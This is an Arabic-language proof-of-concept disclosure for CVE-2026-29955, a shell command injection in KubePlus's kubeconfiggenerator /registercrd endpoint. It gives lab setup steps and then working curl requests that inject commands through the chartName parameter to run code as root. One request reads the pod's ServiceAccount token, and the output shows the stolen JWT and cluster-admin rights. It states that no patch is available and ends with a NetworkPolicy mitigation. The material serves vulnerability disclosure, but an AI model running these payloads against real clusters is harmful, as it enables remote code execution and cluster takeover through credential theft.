
إثبات المفهوم لـ CVE-2026-29955، وهي ثغرة حقن أوامر في KubePlus kubeconfiggenerator تسمح بتنفيذ التعليمات البرمجية عن بُعد وسرقة رمز ServiceAccount في مجموعات Kubernetes.
توجد هذه الثغرة في مكوّن kubeconfiggenerator الخاص بـ KubePlus، مما يسمح للمهاجمين الذين لديهم وصول إلى واجهة HTTP بحقن أوامر shell عبر معامل chartName، وتنفيذ كود عشوائي بصلاحيات root داخل الحاوية، وسرقة رموز ServiceAccount بصلاحيات cluster-admin. تصنيف CWE الموصى به: CWE-78 (حقن أوامر نظام التشغيل).
نقطة النهاية /registercrd في مكوّن kubeconfiggenerator الخاص بـ KubePlus معرّضة لحقن الأوامر. يستخدم المكوّن subprocess.Popen() مع معامل shell=True لتنفيذ أوامر shell، ويتم دمج معامل chartName المقدَّم من المستخدم مباشرةً في سلسلة الأوامر دون أي تعقيم أو تحقق. يمكن للمهاجم حقن أوامر shell عشوائية من خلال صياغة قيمة ضارة لمعامل chartName.
عند معالجة طلبات تسجيل CRD، يقوم مكوّن kubeconfiggenerator بتنزيل واستخراج Helm Charts. في دالة download_and_untar_chart()، يتم دمج معامل chartName مباشرةً في أوامر shell:
الملف: deploy/kubeconfiggenerator.py:60-69
def run_command(cmd):
print(cmd)
cmdOut = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).communicate()
out = cmdOut[0].decode('utf-8')
err = cmdOut[1].decode('utf-8')
return out, err
الملف: deploy/kubeconfiggenerator.py:554
wget = "wget -O /" + charttgz + " --no-check-certificate " + chartLoc
out, err = run_command(wget)
الملف: deploy/kubeconfiggenerator.py:562
cmd = "rm -rf /" + chartName
out, err = run_command(cmd)
بسبب معامل shell=True، يمكن للمهاجمين استخدام صيغة استبدال أوامر shell $(command) لحقن أوامر عشوائية.
من خلال إرسال طلب HTTP إلى نقطة النهاية /registercrd مع معامل chartName ضار، يمكن للمهاجم تنفيذ أوامر عشوائية داخل حاوية kubeconfiggenerator. نظرًا لأن الحاوية تعمل بصلاحيات root وحساب ServiceAccount الخاص بها لديه صلاحيات cluster-admin، يمكن للمهاجم:
# إنشاء إعدادات Kind cluster
cat > kind-config.yaml << 'EOF'
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
name: kubeplus-test
nodes:
- role: control-plane
EOF
# إنشاء cluster
kind create cluster --config kind-config.yaml
# التحقق من cluster
kubectl cluster-info
kubectl get nodes
المخرجات المتوقعة:
Kubernetes control plane is running at https://127.0.0.1:xxxxx
CoreDNS is running at https://127.0.0.1:xxxxx/api/v1/namespaces/kube-system/services/kube-dns:dns/proxy
NAME STATUS ROLES AGE VERSION
kubeplus-test-control-plane Ready control-plane 1m v1.27.3
# إنشاء دليل العمل
mkdir -p /tmp/kubeplus-poc && cd /tmp/kubeplus-poc
# تنزيل إضافات KubePlus
wget https://github.com/cloud-ark/kubeplus/releases/download/kubeplus-kubectl-plugins-v4.1.4/kubeplus-kubectl-plugins-v4.1.4.tar.gz
tar -xzf kubeplus-kubectl-plugins-v4.1.4.tar.gz
# تنزيل سكربت provider-kubeconfig
wget https://raw.githubusercontent.com/cloud-ark/kubeplus/master/requirements.txt
wget https://raw.githubusercontent.com/cloud-ark/kubeplus/master/provider-kubeconfig.py
# إعداد بيئة Python
python3 -m venv venv
source venv/bin/activate
pip3 install -r requirements.txt
pip3 install PyYAML kubernetes
# الحصول على عنوان خادم API
apiserver=$(kubectl config view --minify -o jsonpath='{.clusters[0].cluster.server}')
# إنشاء provider kubeconfig
python3 provider-kubeconfig.py -s $apiserver create default
المخرجات المتوقعة:
Provider kubeconfig created: kubeplus-saas-provider.json
# تنزيل Helm chart الخاص بـ KubePlus
curl -sL "https://github.com/cloud-ark/operatorcharts/raw/master/kubeplus-chart-4.2.0.tgz" -o kubeplus-chart.tgz
# تثبيت KubePlus
helm install kubeplus kubeplus-chart.tgz --kubeconfig=kubeplus-saas-provider.json -n default
# انتظار جاهزية الـ pods
kubectl wait --for=condition=Ready pod -l app=kubeplus -n default --timeout=180s
# التحقق من التثبيت
kubectl get pods -n default -l app=kubeplus
المخرجات المتوقعة:
NAME READY STATUS RESTARTS AGE
kubeplus-deployment-57dbf6f8b9-xxxxx 5/5 Running 0 2m
# الحصول على اسم الـ pod
export WEBHOOK_POD=$(kubectl get pods -n default -l app=kubeplus -o jsonpath='{.items[0].metadata.name}')
# إعداد إعادة توجيه المنافذ
kubectl port-forward svc/kubeconfighelper -n default 5005:91 &
# التحقق من إمكانية الوصول إلى الخدمة
curl -s http://localhost:5005/hello
المخرجات المتوقعة:
hello world
إرسال طلب مع معامل chartName ضار:
curl -s 'http://localhost:5005/registercrd?kind=Test&version=v1&group=test.io&plural=tests&chartURL=https://example.com/test.tgz&chartName=$(id>/tmp/pwned.txt)'
kubectl exec -n default $WEBHOOK_POD -c kubeconfiggenerator -- cat /tmp/pwned.txt
مخرجات التحقق الفعلية:
uid=0(root) gid=0(root) groups=0(root)
curl -s 'http://localhost:5005/registercrd?kind=Test2&version=v1&group=test2.io&plural=test2s&chartURL=https://example.com/test.tgz&chartName=$(cat%20/var/run/secrets/kubernetes.io/serviceaccount/token>/tmp/stolen-token.txt)'
kubectl exec -n default $WEBHOOK_POD -c kubeconfiggenerator -- cat /tmp/stolen-token.txt
مخرجات التحقق الفعلية:
eyJhbGciOiJSUzI1NiIsImtpZCI6Iklua3NNSkdubUtOcnZycUZkMGlJTE5meV9jVk85WFQxZ2dBZjVtOFJ0VncifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxODAxNDg5MjYyLCJpYXQiOjE3Njk5NTMyNjIsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJrdWJlcGx1cy1kZXBsb3ltZW50LTU3ZGJmNmY4YjktcHh2YzUiLCJ1aWQiOiI4ZjBmNDQ0NS1mZTQ0LTQxMjUtYjEwMi03YzQzZDkyMjEyMmYifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6Imt1YmVwbHVzLXNhYXMtcHJvdmlkZXIiLCJ1aWQiOiJlZjljYjFmZi03NWI1LTRmZmMtYjdjMS01Yjc3NjhjNWFiYzQifSwid2FybmFmdGVyIjoxNzY5OTU2ODY5fSwibmJmIjoxNzY5OTUzMjYyLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6ZGVmYXVsdDprdWJlcGx1cy1zYWFzLXByb3ZpZGVyIn0...
STOLEN_TOKEN=$(kubectl exec -n default $WEBHOOK_POD -c kubeconfiggenerator -- cat /tmp/stolen-token.txt)
kubectl auth can-i --list --token="$STOLEN_TOKEN"
مخرجات التحقق الفعلية:
Resources Non-Resource URLs Resource Names Verbs
*.* [] [] [*]
[*] [] [*]
selfsubjectreviews.authentication.k8s.io [] [] [create]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
تُظهر سجلات حاوية kubeconfiggenerator تنفيذ حقن الأوامر:
[01/Feb/2026 13:49:32] Inside registercrd
kind:Test
version:v1
group:test.io
plural:tests
chartURL:https://example.com/test.tgz
download_and_untar_chart
wget command:wget -O /$(id>/tmp/pwned2.txt).tgz --no-check-certificate https://example.com/test.tgz
...
Deleting the previous chart folder:$(id>/tmp/pwned2.txt)
[01/Feb/2026 13:49:56] Inside registercrd
kind:Test2
version:v1
group:test2.io
plural:test2s
chartURL:https://example.com/test.tgz
download_and_untar_chart
wget command:wget -O /$(cat /var/run/secrets/kubernetes.io/serviceaccount/token>/tmp/stolen-token.txt).tgz --no-check-certificate https://example.com/test.tgz
...
Deleting the previous chart folder:$(cat /var/run/secrets/kubernetes.io/serviceaccount/token>/tmp/stolen-token.txt)
تسمح هذه الثغرة للمهاجم بـ:
*.*)درجة CVSS v3.1: 8.8 (عالية)
المتجه: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
shell=True لتنفيذ الأوامرلا يوجد إصدار مصحح متاح حتى الآن.
# مثال على NetworkPolicy
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: restrict-kubeconfighelper
namespace: default
spec:
podSelector:
matchLabels:
app: kubeplus
policyTypes:
- Ingress
ingress:
- from:
- podSelector:
matchLabels:
trusted: "true"
ports:
- protocol: TCP
port: 5005
@b0b0haha ([email protected]) @lixingquzhi ([email protected])